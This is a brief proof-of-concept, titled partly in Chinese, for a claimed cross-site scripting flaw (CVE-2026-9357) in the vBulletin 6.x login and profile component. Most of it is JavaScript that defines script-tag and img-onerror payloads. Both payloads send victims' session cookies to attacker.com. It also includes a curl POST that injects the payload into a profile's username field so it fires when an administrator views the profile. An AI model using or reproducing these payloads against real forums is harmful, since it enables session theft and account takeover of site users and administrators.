CVE-2026-9357 vBulletin 6.x Login组件跨站脚本漏洞

// CVE-2026-9357 PoC - vBulletin 6.x Login XSS // Target: vBulletin 6.x Login Component // Malicious payload to be injected in login-related fields const xssPayload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'; // Alternative payload using img tag const imgPayload = '<img src=x onerror="fetch(\'https://attacker.com/log?data=\'+btoa(document.cookie))">'; // Attack scenario: // 1. Attacker registers an account or uses existing low-privilege account // 2. Attacker injects XSS payload in profile field (username, email, etc.) // 3. When admin/user views the profile, XSS executes // Example curl request to trigger the vulnerability const curlExample = ` curl -X POST 'https://target.com/profile/edit' \ -H 'Content-Type: application/x-www-form-urlencoded' \ -d 'username=${xssPayload}&[email protected]&do=save' `; console.log('PoC for CVE-2026-9357'); console.log('XSS Payload:', xssPayload); console.log('Curl Example:', curlExample);